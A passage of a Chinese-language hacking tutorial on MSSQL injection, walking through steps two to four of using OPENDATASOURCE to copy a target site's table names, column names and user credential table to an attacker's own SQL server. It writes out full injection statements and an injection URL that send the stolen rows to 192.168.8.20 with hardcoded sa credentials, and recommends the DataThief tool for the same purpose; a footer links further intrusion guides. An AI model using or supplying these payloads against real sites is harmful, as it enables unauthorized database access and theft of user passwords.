|
第二步:得到当前库的所有表名
语句为:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from sysobjects where xtype='U'--
这个语句省略了当前库名,得到的就是当前库的所有表名。你也可以把语句换成:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from bbsuser.dbo.sysobjects where xtype='U'--
我们来做下测试,
此时,我们再跑到192.168.8.20去看lcx.dbo.biao这里的数据,你会看到什么?
是不是我们已经获取了当前库的所有表名呢?好学的你肯定又要问了,那么我如何获得其它库的所有表名呢?很简单呀,基本语句格式如下:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.biao select [id],[name] from 库名.dbo.sysobjects where xtype='U'--
这里的库名我们在第一步里已经猜出来了。
第三步:获取列名
有没有看到我们获得的第一个列名是bbsuser,其ID值是357576312?有了这两条信息,我们来获取列名吧。在获取列名之前,我们要在192.168.8.20上先做一步工作,复制一个系统表结构。在我先前建好的lcx库中执行语句:
select * into [tmpcolumns] from syscolumns where 1=2
这样会把系统表syscolumns的结构复制给[tmpcolumns。
我们来获取bbsuser这个表的所有列名,因为ID值是357576312,所以我们的语句是:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.tmpcolumns select * from
syscolumns where id=357576312--
再回到192.168.8.20上看一下lcx.dbo.tmpcolum这个表里边是什么内容,
看到了吧?得到了bbsuser的所有列名,还有列名的一些其它信息。这里的其它信息也是有用的,给我们下一步获得字段值的工作做好了准备。这里我只解释两个列名的意思。其中length是你获取的列名的长度,xtype是你获取的列名的类型。也许你要问了,为什么获取的类型怎么都是56、175这样的数字呢?我查了一些资料,找到了数字与类型对应的关系,关系表如下:
when 34 then ''image''
when 35 then ''text''
when 52 then ''smallint''
when 56 then ‘int''
when 61 then ''datetime''
when 62 then ''float''
when 108 then ''numeric''
when 167 then ''varchar''
when 175 then ''char''
when 231 then ''nvarchar''
第四步:获取字段值
有了注入数据库的当前库名、表名、列名的所有信息后,我们就可以获取这段值了。我们先在192.168.8.20上根据在获得的信息在lcx这个库来建一个新表bbsuser,列名分别是id(int类型长度是4)、username(char类型长度是10)、password(char类型长度是 10)。如果你不明白这步,你仔细看一下和那个数字与类型的对照表。我在192.168.8.20的企业管理器上已经建好了.
获取注入数据库当前库所有信息的工作要一步到位,注入语句如下:
insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.bbsuser select * from [bbsuser] --
在注入点上执行就是:
http://192.168.8.10/web/f.asp?password=1'insert into opendatasource('sqloledb','server=192.168.8.20;uid=sa;pwd=lcx;database=lcx').lcx.dbo.bbsuser select * from [bbsuser] --
我们来看一下最终究竟有没有成功?到192.168.8.20上的lcx.dbo.bbsuser上去抓个图,自然是成功了。
小提示:当在获取字段值的时候,建的表名、列名不一定要与注入库的完全一样,只要类型相符就可以了。
这样我们一步一步地把注入点的当前库的所有信息全部搬到本地来了。可能你说我的方法虽然不错,但毕竟没有用工具爽。目前我还没有见到用 Opendatasource来获取注入信息的工具,倒是用Openrowset来获取注入信息的工具我已经找到了。下边我就来简单介绍一下它的用法。
工具是老外写的,名字是DataThiefV1.0.exe,软件运行界面.
像我要注入http://192.168.8.10/web/f.asp?password=1的话,构建的环境.
小提示:如果你注入的地址是字符型的,在URL地址里要写http://192.168.8.10/web/f.asp?password=1'; <***>这样的格式,要带单引号。如果是数字型的话,就要写成了http://192.168.8.10/web/f.asp?password=1; <***>,去掉单引号。
点GO,获取信息的速度真是飞快呀,估计和我在内网测试有关,呵呵。
如果你对Openrowset这个宏不了解的话,你自己抓包分析吧,我就不再罗嗦了。最后希望这篇文章对大家实现注入的方法多一种思路和启发,在这篇文章的基础上来进一步探索Opendatasource和Openrowset的用法。
| 入侵网站必备经典语句 | 01-17 |
| 说说session | 10-23 |
| 新or注入教程 | 09-10 |
| Mssql2005注入命令总结 | 07-30 |
| 阿D常用注入命令汇总 | 07-30 |
| Penetration Testing 渗透测试 | 07-04 |
| Exploit Sites 和0day公布的站点 | 06-18 |
| 3389得到肉鸡后的命令 | 06-18 |
| Cmd模式下的入侵技术大全 | 05-30 |
| 阿D常用注入命令整理 | 05-17 |
| opendatasource学习记录 | 05-14 |
| SQL Injection规避入侵检测技术总 | 05-06 |